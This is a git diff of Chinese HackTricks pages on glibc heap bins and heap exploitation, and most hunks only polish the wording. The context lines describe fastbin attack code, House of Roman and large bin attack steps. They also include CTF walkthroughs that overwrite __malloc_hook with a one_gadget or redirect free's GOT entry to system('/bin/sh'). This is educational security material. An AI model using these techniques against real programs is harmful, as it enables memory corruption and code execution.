尽管线程尝试拥有自己的堆(参见 [Arenas](bins-and-memory-allocations.md#arenas) 和 [Subheaps](bins-and-memory-allocations.md#subheaps)),但有可能一个有很多线程的进程(如 web 服务器)**最终会与其他线程共享堆**。在这种情况下,主要解决方案是使用 **锁**,这可能会**显著减慢线程**。
|
||||
尽管线程尝试拥有自己的堆(参见 [Arenas](bins-and-memory-allocations.md#arenas) 和 [Subheaps](bins-and-memory-allocations.md#subheaps)),但有可能一个有很多线程的进程(如 web 服务器)**会与其他线程共享堆**。在这种情况下,主要解决方案是使用 **锁**,这可能会 **显著减慢线程的速度**。
|
||||
|
||||
因此,tcache 类似于每个线程的快速 bin,因为它是一个**单链表**,不合并块。每个线程有**64 个单链表 tcache bins**。每个 bin 最多可以有 [7 个相同大小的块](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323),大小范围为 [24 到 1032B 在 64 位系统上和 12 到 516B 在 32 位系统上](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)。
|
||||
因此,tcache 类似于每个线程的快速 bin,因为它是一个 **单链表**,不合并块。每个线程有 **64 个单链表 tcache bins**。每个 bin 最多可以有 [7 个相同大小的块](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323),大小范围为 [24 到 1032B 在 64 位系统上和 12 到 516B 在 32 位系统上](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315)。
|
||||
|
||||
**当一个线程释放**一个块时,**如果它不太大**以至于无法在 tcache 中分配,并且相应的 tcache bin **没有满**(已经有 7 个块),**它将被分配到那里**。如果无法进入 tcache,它将需要等待堆锁才能在全局范围内执行释放操作。
|
||||
|
||||
当一个 **块被分配**时,如果在 **Tcache 中有一个所需大小的空闲块,它将使用它**,如果没有,它将需要等待堆锁才能在全局 bins 中找到一个或创建一个新的。\
|
||||
当 **分配一个块**时,如果在 **Tcache 中有一个所需大小的空闲块,它将使用它**,如果没有,它将需要等待堆锁才能在全局 bins 中找到一个或创建一个新的。\
|
||||
还有一个优化,在这种情况下,当拥有堆锁时,线程 **将用请求大小的堆块填充他的 Tcache(7 个)**,以便在需要更多时,可以在 Tcache 中找到它们。
|
||||
|
||||
<details>
|
||||
@ -46,7 +46,7 @@ Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20,
|
||||
|
||||
#### Tcache 结构和函数
|
||||
|
||||
在以下代码中,可以看到 **max bins** 和 **chunks per index**,为避免双重释放而创建的 **`tcache_entry`** 结构,以及每个线程用于存储每个 bin 索引地址的 **`tcache_perthread_struct`** 结构。
|
||||
在以下代码中,可以看到 **max bins** 和 **chunks per index**,为了避免双重释放而创建的 **`tcache_entry`** 结构,以及每个线程用来存储每个 bin 索引地址的 **`tcache_perthread_struct`** 结构。
|
||||
|
||||
<details>
|
||||
|
||||
@ -102,7 +102,7 @@ tcache_entry *entries[TCACHE_MAX_BINS];
|
||||
```
|
||||
</details>
|
||||
|
||||
函数 `__tcache_init` 是创建和分配 `tcache_perthread_struct` 对象空间的函数
|
||||
函数 `__tcache_init` 是创建和分配 `tcache_perthread_struct` 对象空间的函数。
|
||||
|
||||
<details>
|
||||
|
||||
@ -149,7 +149,7 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
|
||||
|
||||
#### Tcache 索引
|
||||
|
||||
Tcache 有几个 bins,具体取决于大小和指向 **每个索引第一个块的初始指针以及每个索引的块数量位于一个块内部**。这意味着通过这些信息(通常是第一个)定位块,可以找到所有 tcache 初始点和 Tcache 块的数量。
|
||||
Tcache 有几个 bins,具体取决于大小和指向 **每个索引第一个块的初始指针以及每个索引的块数量位于一个块内部**。这意味着通过定位包含这些信息的块(通常是第一个),可以找到所有 tcache 初始点和 Tcache 块的数量。
|
||||
|
||||
### 快速 bins
|
||||
|
||||
@ -157,15 +157,15 @@ Tcache 有几个 bins,具体取决于大小和指向 **每个索引第一个
|
||||
|
||||
此外,**快速 bins 使用单链表**,而不是双链表,这进一步提高了速度。由于快速 bins 中的块不会与邻居合并,因此不需要复杂的结构来允许从中间移除。单链表在这些操作中更简单、更快。
|
||||
|
||||
基本上,这里发生的事情是,头部(指向第一个要检查的块的指针)始终指向该大小的最新释放块。因此:
|
||||
基本上,这里发生的事情是,头部(指向第一个块的指针)始终指向该大小的最新释放块。因此:
|
||||
|
||||
- 当分配一个该大小的新块时,头部指向一个可用的空闲块。由于这个空闲块指向下一个要使用的块,这个地址被存储在头部,以便下一个分配知道在哪里获取可用块
|
||||
- 当分配一个该大小的新块时,头部指向一个可用的空闲块。由于这个空闲块指向下一个可用块,这个地址被存储在头部,以便下一个分配知道在哪里获取可用块
|
||||
- 当一个块被释放时,空闲块将保存当前可用块的地址,而这个新释放块的地址将放入头部
|
||||
|
||||
链表的最大大小为 `0x80`,它们的组织方式是,大小为 `0x20` 的块将位于索引 `0`,大小为 `0x30` 的块将位于索引 `1`...
|
||||
|
||||
> [!CAUTION]
|
||||
> 快速 bins 中的块未被设置为可用,因此它们会在一段时间内保持为快速 bin 块,而不是能够与周围的其他空闲块合并。
|
||||
> 快速 bins 中的块未设置为可用,因此它们会在一段时间内保持为快速 bin 块,而不是能够与周围的其他空闲块合并。
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
@ -244,11 +244,11 @@ Fastbins[idx=1, size=0x30] 0x00
|
||||
|
||||
### 未排序的堆
|
||||
|
||||
未排序的堆是一个 **缓存**,由堆管理器用于加快内存分配。其工作原理如下:当程序释放一个块时,如果该块无法在 tcache 或快速堆中分配,并且与顶部块不冲突,堆管理器不会立即将其放入特定的小或大堆中。相反,它首先尝试 **与任何相邻的空闲块合并**,以创建一个更大的空闲内存块。然后,它将这个新块放入一个称为“未排序堆”的通用堆中。
|
||||
未排序的堆是一个**缓存**,由堆管理器用于加快内存分配。它的工作原理如下:当程序释放一个块时,如果这个块不能在tcache或快速堆中分配,并且没有与顶部块发生冲突,堆管理器不会立即将其放入特定的小或大堆中。相反,它首先尝试**与任何相邻的空闲块合并**,以创建一个更大的空闲内存块。然后,它将这个新块放入一个称为“未排序堆”的通用堆中。
|
||||
|
||||
当程序 **请求内存** 时,堆管理器 **检查未排序堆** 以查看是否有足够大小的块。如果找到一个,它会立即使用。如果在未排序堆中找不到合适的块,它会将此列表中的所有块移动到相应的堆中,基于它们的大小,分为小堆或大堆。
|
||||
当程序**请求内存**时,堆管理器**检查未排序堆**以查看是否有足够大小的块。如果找到一个,它会立即使用。如果在未排序堆中找不到合适的块,它会将此列表中的所有块移动到其对应的堆中,依据它们的大小分为小堆或大堆。
|
||||
|
||||
请注意,如果一个较大的块被分成两半,并且其余部分大于 MINSIZE,它将被放回未排序堆中。
|
||||
请注意,如果一个较大的块被分成两半,并且其余部分大于MINSIZE,它将被放回未排序堆中。
|
||||
|
||||
因此,未排序堆是一种通过快速重用最近释放的内存来加速内存分配的方法,从而减少耗时的搜索和合并的需要。
|
||||
|
||||
@ -285,9 +285,9 @@ free(chunks[i]);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
注意我们如何分配和释放9个相同大小的块,以便它们**填充tcache**,而第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。
|
||||
注意我们如何分配和释放9个相同大小的块,以便它们**填充tcache**,第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。
|
||||
|
||||
编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,且一个块在未排序的bin中:
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,一个块在未排序的bin中:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -311,7 +311,7 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
|
||||
小型桶比大型桶快,但比快速桶慢。
|
||||
|
||||
62个桶中的每个桶将具有**相同大小的块**:16、24,...(在32位中最大大小为504字节,在64位中为1024字节)。这有助于加快查找应分配空间的桶以及在这些列表中插入和删除条目的速度。
|
||||
62个桶中的每个桶将具有**相同大小的块**:16、24,...(在32位中最大为504字节,在64位中最大为1024字节)。这有助于加快查找应分配空间的桶以及在这些列表中插入和删除条目的速度。
|
||||
|
||||
小型桶的大小是根据桶的索引计算的:
|
||||
|
||||
@ -368,9 +368,9 @@ chunks[9] = malloc(0x110);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
注意我们如何分配和释放9个相同大小的块,以便它们**填充tcache**,而第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个**不会与顶部块合并**。然后我们分配一个更大的块0x110,这使得**未排序bin中的块进入小bin**。
|
||||
注意我们如何分配和释放9个相同大小的块,以便它们**填满tcache**,而第八个块存储在未排序的bin中,因为它**对于fastbin来说太大**,而第九个块没有被释放,因此第九个和第八个块**不会与顶部块合并**。然后我们分配一个更大的块0x110,这使得**未排序bin中的块进入小bin**。
|
||||
|
||||
编译它并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,并且一个块在小bin中:
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache bin已满,且一个块在小bin中:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -392,26 +392,26 @@ Fastbins[idx=6, size=0x80] 0x00
|
||||
```
|
||||
</details>
|
||||
|
||||
### 大型桶
|
||||
### 大型内存块
|
||||
|
||||
与管理固定大小块的小型桶不同,每个**大型桶处理一系列块大小**。这更灵活,允许系统容纳**各种大小**,而无需为每个大小单独设置一个桶。
|
||||
与管理固定大小块的小型内存块不同,每个**大型内存块处理一系列块大小**。这更灵活,允许系统容纳**各种大小**,而无需为每种大小单独设置一个内存块。
|
||||
|
||||
在内存分配器中,大型桶从小型桶结束的地方开始。大型桶的范围逐渐增大,这意味着第一个桶可能覆盖从512到576字节的块,而下一个覆盖从576到640字节的块。这个模式持续下去,最大的桶包含所有超过1MB的块。
|
||||
在内存分配器中,大型内存块从小型内存块结束的地方开始。大型内存块的范围逐渐增大,这意味着第一个内存块可能覆盖从512到576字节的块,而下一个则覆盖576到640字节。这个模式持续下去,最大的内存块包含所有超过1MB的块。
|
||||
|
||||
与小型桶相比,大型桶的操作速度较慢,因为它们必须**对不同块大小的列表进行排序和搜索,以找到最佳适配**进行分配。当一个块被插入到大型桶中时,它必须被排序,而当内存被分配时,系统必须找到合适的块。这额外的工作使它们**速度较慢**,但由于大型分配不如小型分配常见,这是一种可接受的权衡。
|
||||
与小型内存块相比,大型内存块的操作速度较慢,因为它们必须**对不同块大小的列表进行排序和搜索,以找到最佳适配**进行分配。当一个块被插入到大型内存块时,它必须被排序,而当内存被分配时,系统必须找到合适的块。这额外的工作使它们**速度较慢**,但由于大型分配比小型分配少,因此这是一个可以接受的权衡。
|
||||
|
||||
有:
|
||||
|
||||
- 32个64B范围的桶(与小型桶冲突)
|
||||
- 16个512B范围的桶(与小型桶冲突)
|
||||
- 8个4096B范围的桶(部分与小型桶冲突)
|
||||
- 4个32768B范围的桶
|
||||
- 2个262144B范围的桶
|
||||
- 1个用于剩余大小的桶
|
||||
- 32个64B范围的内存块(与小型内存块冲突)
|
||||
- 16个512B范围的内存块(与小型内存块冲突)
|
||||
- 8个4096B范围的内存块(部分与小型内存块冲突)
|
||||
- 4个32768B范围的内存块
|
||||
- 2个262144B范围的内存块
|
||||
- 1个用于剩余大小的内存块
|
||||
|
||||
<details>
|
||||
|
||||
<summary>大型桶大小代码</summary>
|
||||
<summary>大型内存块大小代码</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
|
||||
|
||||
@ -468,9 +468,9 @@ chunks[0] = malloc(0x2000);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
进行两个大分配,然后释放一个(将其放入未排序的桶中),并进行更大的分配(将释放的分配从未排序的桶移动到大桶中)。
|
||||
2 个大分配被执行,然后一个被释放(将其放入未排序的桶中),并且进行更大的分配(将释放的从未排序的桶移动到大桶中)。
|
||||
|
||||
编译并在`main`函数的`ret`操作码处设置断点进行调试。然后使用`gef`,你可以看到tcache桶已满,并且一个块在大桶中:
|
||||
编译并在 `main` 函数的 `ret` 操作码处设置断点进行调试。然后使用 `gef`,你可以看到 tcache 桶已满,并且一个块在大桶中:
|
||||
```bash
|
||||
gef➤ heap bin
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
@ -519,7 +519,7 @@ the 2 preceding words to be zero during this interval as well.)
|
||||
/* Conveniently, the unsorted bin can be used as dummy top on first call */
|
||||
#define initial_top(M) (unsorted_chunks (M))
|
||||
```
|
||||
基本上,这是一个包含所有当前可用堆的块。当执行 malloc 时,如果没有可用的空闲块可供使用,这个顶块将会减少其大小以提供必要的空间。\
|
||||
基本上,这是一个包含所有当前可用堆的块。当执行 malloc 时,如果没有可用的空闲块可用,这个顶块将会减少其大小以提供必要的空间。\
|
||||
指向顶块的指针存储在 `malloc_state` 结构中。
|
||||
|
||||
此外,在开始时,可以将未排序块用作顶块。
|
||||
@ -564,7 +564,7 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16
|
||||
|
||||
### 最后剩余
|
||||
|
||||
当使用 malloc 并且一个块被分割(例如,从未排序的 bin 或从顶部块),从分割块的其余部分创建的块称为最后剩余,其指针存储在 `malloc_state` 结构中。
|
||||
当使用 malloc 并且一个块被分割(例如,从未排序的桶或从顶部块),从分割块的其余部分创建的块称为最后剩余,其指针存储在 `malloc_state` 结构中。
|
||||
|
||||
## 分配流程
|
||||
|
||||
@ -584,7 +584,7 @@ heap-memory-functions/free.md
|
||||
|
||||
## 堆函数安全检查
|
||||
|
||||
检查堆中被广泛使用的函数执行的安全检查:
|
||||
检查堆中常用函数执行的安全检查:
|
||||
|
||||
{{#ref}}
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
有关快速分配的更多信息,请查看此页面:
|
||||
有关 fast bin 的更多信息,请查看此页面:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
由于快速分配是一个单链表,因此其保护措施比其他分配少,**修改已释放的快速分配**块中的地址就足以**在任何内存地址分配一个块**。
|
||||
由于 fast bin 是一个单链表,因此其保护措施比其他 bins 少得多,仅仅是 **修改已释放 fast bin** 块中的地址就足以 **在任何内存地址分配一个块**。
|
||||
|
||||
总结:
|
||||
```c
|
||||
@ -28,7 +28,7 @@ free(ptr1)
|
||||
ptr2 = malloc(0x20); // This will get ptr1
|
||||
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
||||
```
|
||||
您可以在一个非常清晰的代码示例中找到完整的例子,来自 [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
|
||||
您可以在一个非常清晰解释的代码中找到完整的示例,来自 [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -118,21 +118,21 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 如果可以用一个大数字覆盖全局变量 **`global_max_fast`** 的值,这将允许生成更大尺寸的快速 bin 块,可能在之前无法进行快速 bin 攻击的场景中执行。这种情况在 [large bin attack](large-bin-attack.md) 和 [unsorted bin attack](unsorted-bin-attack.md) 的上下文中非常有用。
|
||||
> 如果可以用一个大数字覆盖全局变量 **`global_max_fast`** 的值,这将允许生成更大尺寸的快速 bin 块,可能在之前无法进行快速 bin 攻击的场景中执行此类攻击。这种情况在 [large bin attack](large-bin-attack.md) 和 [unsorted bin attack](unsorted-bin-attack.md) 的上下文中非常有用。
|
||||
|
||||
## 示例
|
||||
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
|
||||
- 可以分配块,释放它们,读取其内容并填充它们(通过溢出漏洞)。
|
||||
- **合并块以进行信息泄露**:该技术基本上是利用溢出创建一个假的 `prev_size`,使一个前面的块放入一个更大的块中,因此在分配包含另一个块的更大块时,可以打印其数据并泄露一个 libc 地址(`main_arena+88`)。
|
||||
- **覆盖 malloc hook**:为此,并利用之前的重叠情况,可以有 2 个块指向相同的内存。因此,释放它们两个(在中间释放另一个块以避免保护)可以使同一个块在快速 bin 中出现 2 次。然后,可以再次分配它,覆盖下一个块的地址,使其指向 `__malloc_hook` 之前的一点(因此它指向一个 malloc 认为是空闲大小的整数 - 另一个绕过),再次分配它,然后分配另一个块,该块将接收指向 malloc hooks 的地址。\
|
||||
- **合并块以进行信息泄露**:该技术基本上是利用溢出创建一个假的 `prev_size`,使一个之前的块放入一个更大的块中,因此在分配包含另一个块的更大块时,可以打印其数据并泄露一个 libc 地址(`main_arena+88`)。
|
||||
- **覆盖 malloc hook**:为此,利用之前的重叠情况,可以有 2 个块指向相同的内存。因此,释放它们两个(在中间释放另一个块以避免保护)可以使同一个块在快速 bin 中出现两次。然后,可以再次分配它,覆盖下一个块的地址,使其指向 `__malloc_hook` 之前的一点(因此它指向一个 malloc 认为是空闲大小的整数 - 另一个绕过),再次分配它,然后分配另一个块,该块将接收指向 malloc hooks 的地址。\
|
||||
最后,一个 **one gadget** 被写入其中。
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||
- 存在堆溢出和使用后释放以及双重释放,因为当一个块被释放时,可以重用和重新释放指针。
|
||||
- **Libc 信息泄露**:只需释放一些块,它们将获得指向主 arena 位置的一部分的指针。由于可以重用已释放的指针,只需读取此地址。
|
||||
- **快速 bin 攻击**:所有分配的指针都存储在一个数组中,因此我们可以释放几个快速 bin 块,并在最后一个块中覆盖地址以指向这个指针数组之前的一点。然后,分配几个相同大小的块,我们将首先获得合法的一个,然后是包含指针数组的伪造一个。我们现在可以覆盖这个分配指针,使 `free` 的 GOT 地址指向 `system`,然后在块 1 中写入 `"/bin/sh"`,然后调用 `free(chunk1)`,这将执行 `system("/bin/sh")`。
|
||||
- **快速 bin 攻击**:所有分配的指针都存储在一个数组中,因此我们可以释放几个快速 bin 块,并在最后一个块中覆盖地址以指向这个指针数组之前的一点。然后,分配几个相同大小的块,我们将首先获得合法的块,然后是包含指针数组的伪块。我们现在可以覆盖这个分配的指针,使 `free` 的 GOT 地址指向 `system`,然后在块 1 中写入 `"/bin/sh"`,然后调用 `free(chunk1)`,这将执行 `system("/bin/sh")`。
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- 另一个例子是利用一个字节溢出在未排序的 bin 中合并块并获取 libc 信息泄露,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
|
||||
- 另一个例子是利用一个字节的溢出在未排序的 bin 中合并块并获取 libc 信息泄露,然后执行快速 bin 攻击以用一个 gadget 地址覆盖 malloc hook。
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
||||
- 在利用未排序的 bin 进行信息泄露后,通过 UAF 泄露 libc 地址和 PIE 地址,此 CTF 的利用使用快速 bin 攻击在指向受控块的指针所在的位置分配一个块,因此可以覆盖某些指针以在 GOT 中写入一个 gadget。
|
||||
- 你可以找到通过未排序的 bin 攻击滥用的快速 bin 攻击:
|
||||
|
||||
@ -53,7 +53,7 @@ malloc-and-sysmalloc.md
|
||||
- 错误信息:`malloc(): invalid next size (unsorted)`
|
||||
- 如果下一个块指示的前一个大小与块的大小不同:
|
||||
- 错误信息:`malloc(): mismatching next->prev_size (unsorted)`
|
||||
- 如果不是 `victim->bck->fd == victim` 或不是 `victim->fd == av (arena)`:
|
||||
- 如果 `victim->bck->fd != victim` 或 `victim->fd != av (arena)`:
|
||||
- 错误信息:`malloc(): unsorted double linked list corrupted`
|
||||
- 由于我们始终检查最后一个,它的 fd 应始终指向 arena 结构。
|
||||
- 如果下一个块未指示前一个块正在使用:
|
||||
@ -68,7 +68,7 @@ malloc-and-sysmalloc.md
|
||||
- **按下一个更大搜索大 bin 的检查:**
|
||||
- `bck->fd-> bk != bck`:
|
||||
- 错误信息:`malloc(): corrupted unsorted chunks2`
|
||||
- **顶块使用期间的检查:**
|
||||
- **在 Top chunk 使用期间的检查:**
|
||||
- `chunksize(av->top) > av->system_mem`:
|
||||
- 错误信息:`malloc(): corrupted top size`
|
||||
|
||||
@ -129,7 +129,7 @@ free.md
|
||||
- 错误信息:`double free or corruption (!prev)`
|
||||
- 如果下一个块的大小太小或太大:
|
||||
- 错误信息:`free(): invalid next size (normal)`
|
||||
- 如果前一个块未使用,它将尝试合并。但是,如果 `prev_size` 与前一个块指示的大小不同:
|
||||
- 如果前一个块未使用,它将尝试合并。但是,如果 `prev_size` 与前一个块中指示的大小不同:
|
||||
- 错误信息:`corrupted size vs. prev_size while consolidating`
|
||||
|
||||
## **`_int_free_create_chunk`**
|
||||
|
||||
@ -21,12 +21,12 @@
|
||||
|
||||
## 攻击步骤
|
||||
|
||||
### 第 1 部分:快块指向 \_\_malloc_hook
|
||||
### 第 1 部分:快块块指向 \_\_malloc_hook
|
||||
|
||||
创建几个块:
|
||||
|
||||
- `fastbin_victim` (0x60, 偏移 0): UAF 块,稍后编辑堆指针以指向 LibC 值。
|
||||
- `chunk2` (0x80, 偏移 0x70): 用于良好的对齐
|
||||
- `chunk2` (0x80, 偏移 0x70): 以获得良好的对齐
|
||||
- `main_arena_use` (0x80, 偏移 0x100)
|
||||
- `relative_offset_heap` (0x60, 偏移 0x190): 在 'main_arena_use' 块上的相对偏移
|
||||
|
||||
@ -51,17 +51,17 @@ unsorted: leftover_main
|
||||
```
|
||||
- `fastbin_victim` 有一个指向 `relative_offset_heap` 的 `fd`
|
||||
- `relative_offset_heap` 是从 `fake_libc_chunk` 的距离偏移量,其中包含指向 `main_arena + 0x68` 的指针
|
||||
- 只需更改 `fastbin_victim.fd` 的最后一个字节,就可以使 `fastbin_victim points` 指向 `main_arena + 0x68`
|
||||
- 只需更改 `fastbin_victim.fd` 的最后一个字节,就可以使 `fastbin_victim` 指向 `main_arena + 0x68`
|
||||
|
||||
对于之前的操作,攻击者需要能够修改 `fastbin_victim` 的 fd 指针。
|
||||
|
||||
然后,`main_arena + 0x68` 并不是那么有趣,所以让我们修改它,使指针指向 **`__malloc_hook`**。
|
||||
|
||||
请注意,`__memalign_hook` 通常以 `0x7f` 开头,并且在它之前是零,因此可以将其伪装为 `0x70` 快速堆中的一个值。由于地址的最后 4 位是 **随机** 的,因此有 `2^4=16` 种可能性使值最终指向我们感兴趣的地方。因此在这里执行 BF 攻击,使得块最终变成:**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。**
|
||||
请注意,`__memalign_hook` 通常以 `0x7f` 开头,并且在它之前是零,因此可以将其伪装为 `0x70` 快速堆的一个值。由于地址的最后 4 位是 **随机** 的,因此有 `2^4=16` 种可能性使值最终指向我们感兴趣的地方。因此在这里执行 BF 攻击,使得块最终变成:**`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`。**
|
||||
|
||||
(有关其余字节的更多信息,请查看 [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ 示例](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) 中的解释)。如果 BF 不起作用,程序就会崩溃(所以重新开始,直到它有效)。
|
||||
|
||||
然后,执行 2 次 malloc 以移除 2 个初始快速堆块,并分配第三个以获取一个块在 **`__malloc_hook:`** 中。
|
||||
然后,执行 2 次 malloc 以移除 2 个初始快速堆块,并分配第三个以获取 **`__malloc_hook:`** 中的一个块。
|
||||
```c
|
||||
malloc(0x60);
|
||||
malloc(0x60);
|
||||
@ -69,7 +69,7 @@ uint8_t* malloc_hook_chunk = malloc(0x60);
|
||||
```
|
||||
### Part 2: Unsorted_bin 攻击
|
||||
|
||||
有关更多信息,请查看:
|
||||
有关更多信息,您可以查看:
|
||||
|
||||
{{#ref}}
|
||||
unsorted-bin-attack.md
|
||||
@ -89,7 +89,7 @@ free(unsorted_bin_ptr);
|
||||
在这个块中使用 UAF 将 `unsorted_bin_ptr->bk` 指向 `__malloc_hook` 的地址(我们之前已经暴力破解过这个)。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,这个攻击会破坏未排序的 bin(因此小和大也会受到影响)。所以我们现在只能**使用快速 bin 的分配**(一个更复杂的程序可能会进行其他分配并崩溃),并且为了触发这一点,我们必须**分配相同的大小,否则程序将崩溃。**
|
||||
> 注意,这个攻击会破坏未排序的 bin(因此小和大也会受到影响)。所以我们现在只能**使用快速 bin 的分配**(一个更复杂的程序可能会进行其他分配并崩溃),并且为了触发这个,我们必须**分配相同的大小,否则程序会崩溃。**
|
||||
|
||||
因此,为了触发 `__malloc_hook` 中 `main_arena + 0x68` 的写入,在将 `__malloc_hook` 设置在 `unsorted_bin_ptr->bk` 后,我们只需要执行:**`malloc(0x80)`**
|
||||
|
||||
@ -103,7 +103,7 @@ free(unsorted_bin_ptr);
|
||||
|
||||
最后,一旦正确的地址被覆盖,**调用 `malloc` 并触发 `one_gadget`**。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
## Basic Information
|
||||
|
||||
有关大型 bin 的更多信息,请查看此页面:
|
||||
|
||||
@ -12,21 +12,21 @@ bins-and-memory-allocations.md
|
||||
|
||||
在 [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) 中可以找到一个很好的示例。
|
||||
|
||||
基本上,在最新的 glibc(2.35)“当前”版本中,可以看到没有检查:**`P->bk_nextsize`**,这允许在满足某些条件时用大型 bin 块的值修改任意地址。
|
||||
基本上,在最新的 "current" 版本的 glibc (2.35) 中,未进行检查:**`P->bk_nextsize`** 允许在满足某些条件的情况下用大型 bin 块的值修改任意地址。
|
||||
|
||||
在该示例中,可以找到以下条件:
|
||||
在该示例中,您可以找到以下条件:
|
||||
|
||||
- 分配了一个大型块
|
||||
- 分配了一个小于第一个块但在同一索引中的大型块
|
||||
- 必须更小,因此它必须首先进入 bin
|
||||
- 分配了一个比第一个小但在同一索引中的大型块
|
||||
- 必须更小,因此它必须首先放入 bin
|
||||
- (创建一个块以防止与顶部块合并)
|
||||
- 然后,释放第一个大型块并分配一个比它更大的新块 -> Chunk1 进入大型 bin
|
||||
- 然后,释放第二个大型块
|
||||
- 然后,第一个大型块被释放,并分配一个比它更大的新块 -> Chunk1 进入大型 bin
|
||||
- 然后,第二个大型块被释放
|
||||
- 现在,漏洞:攻击者可以将 `chunk1->bk_nextsize` 修改为 `[target-0x20]`
|
||||
- 然后,分配一个比 chunk 2 更大的块,因此 chunk2 被插入到大型 bin 中,覆盖地址 `chunk1->bk_nextsize->fd_nextsize`,其值为 chunk2 的地址
|
||||
- 然后,分配一个比 chunk 2 更大的块,因此 chunk2 被插入大型 bin,覆盖地址 `chunk1->bk_nextsize->fd_nextsize`,其值为 chunk2 的地址
|
||||
|
||||
> [!TIP]
|
||||
> 还有其他潜在场景,关键是向大型 bin 添加一个 **小于** 当前 bin 中 X 块的块,因此它需要在 bin 中插入到 X 之前,并且我们需要能够修改 X 的 **`bk_nextsize`**,因为较小块的地址将写入该位置。
|
||||
> 还有其他潜在场景,关键是向大型 bin 添加一个 **小于** 当前 bin 中 X 块的块,因此它需要在 bin 中插入在 X 之前,并且我们需要能够修改 X 的 **`bk_nextsize`**,因为较小块的地址将写入该位置。
|
||||
|
||||
这是 malloc 中的相关代码。已添加注释以更好地理解地址是如何被覆盖的:
